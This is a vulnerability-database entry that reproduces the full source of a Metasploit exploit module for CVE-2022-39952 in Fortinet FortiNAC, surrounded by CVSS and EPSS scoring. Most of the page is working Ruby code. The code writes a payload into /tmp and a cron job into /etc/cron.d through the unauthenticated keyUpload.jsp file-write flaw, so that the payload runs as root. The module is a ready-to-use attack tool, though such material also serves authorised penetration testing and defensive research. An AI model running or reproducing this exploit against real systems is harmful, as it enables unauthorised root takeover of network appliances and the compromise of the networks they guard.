Lucene search

K
metasploitGwendal Guégniaud, Zach Hanley, jheysel-r7MSF:EXPLOIT-LINUX-HTTP-FORTINAC_KEYUPLOAD_FILE_WRITE-
HistoryMar 08, 2023 - 7:08 p.m.

Fortinet FortiNAC keyUpload.jsp arbitrary file write

2023-03-0819:08:46
Gwendal Guégniaud, Zach Hanley, jheysel-r7
www.rapid7.com
94

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.954 High

EPSS

Percentile

99.3%

This module uploads a payload to the /tmp directory in addition to a cron job to /etc/cron.d which executes the payload in the context of the root user. The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which is accessible remotely and without authentication. When you send the vulnerable endpoint a ZIP file, it will extract an attacker controlled file to a directory of the attackers choice on the target system. This issue is exploitable on the following versions of FortiNAC: FortiNAC version 9.4 prior to 9.4.1 FortiNAC version 9.2 prior to 9.2.6 FortiNAC version 9.1 prior to 9.1.8 FortiNAC 8.8 all versions FortiNAC 8.7 all versions FortiNAC 8.6 all versions FortiNAC 8.5 all versions FortiNAC 8.3 all versions

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',
        'Description' => %q{
          This module uploads a payload to the /tmp directory in addition to a cron job
          to /etc/cron.d which executes the payload in the context of the root user.

          The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which
          is accessible remotely and without authentication. When you send the vulnerable
          endpoint a ZIP file, it will extract an attacker controlled file to a directory
          of the attackers choice on the target system.

          This issue is exploitable on the following versions of FortiNAC:

          FortiNAC version 9.4 prior to 9.4.1
          FortiNAC version 9.2 prior to 9.2.6
          FortiNAC version 9.1 prior to 9.1.8
          FortiNAC 8.8 all versions
          FortiNAC 8.7 all versions
          FortiNAC 8.6 all versions
          FortiNAC 8.5 all versions
          FortiNAC 8.3 all versions
        },
        'Author' => [
          'Gwendal Guégniaud', # discovery
          'Zach Hanley',       # PoC
          'jheysel-r7'         # module
        ],
        'References' => [
          ['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],
          ['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],
          ['CVE', '2022-39952']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[linux unix],
        'Privileged' => true,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 8443,
          'WfsDelay' => '75'
        },
        'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],
        'Targets' => [
          [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-02-16',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
      'method' => 'POST'
    })

    return Exploit::CheckCode::Unknown('Target did not respond') unless res
    return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
    return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')

    Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')
  end

  def zip_file(filepath, contents)
    zip = Rex::Zip::Archive.new
    zip.add_file(filepath, contents)

    zip.pack
  end

  def send_zip_file(filename, contents, file_description)
    mime = Rex::MIME::Message.new
    mime.add_part(contents, nil, 'binary', "form-data; name=\"key\"; filename=\"#{filename}\"")

    print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    })
    fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload')
    print_good('Successfully sent ZIP file')
  end

  def cron_file(command)
    cron_file = 'SHELL=/bin/sh'
    cron_file << "\n"
    cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
    cron_file << "\n"
    cron_file << "* * * * * root #{command}"
    cron_file << "\n"

    cron_file
  end

  def exploit
    cron_filename = Rex::Text.rand_text_alpha(8)
    cron_path = '/etc/cron.d/' + cron_filename

    case target['Arch']
    when ARCH_CMD
      cron_command = payload.raw
    when ARCH_X64, ARCH_X86
      payload_filename = Rex::Text.rand_text_alpha(8)
      payload_path = '/tmp/' + payload_filename
      payload_data = payload.encoded_exe
      cron_command = "chmod +x #{payload_path} && #{payload_path}"

      # zip and send payload
      zipped_payload = zip_file(payload_path, payload_data)
      send_zip_file(payload_filename, zipped_payload, 'payload')
      register_dirs_for_cleanup(payload_path)
    else
      fail_with(Failure::BadConfig, 'Invalid target architecture selected')
    end

    # zip and send cron job
    zipped_cron = zip_file(cron_path, cron_file(cron_command))
    send_zip_file(cron_filename, zipped_cron, 'cron job')
    register_dirs_for_cleanup(cron_path)

    print_status('Waiting for cron job to run')
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.954 High

EPSS

Percentile

99.3%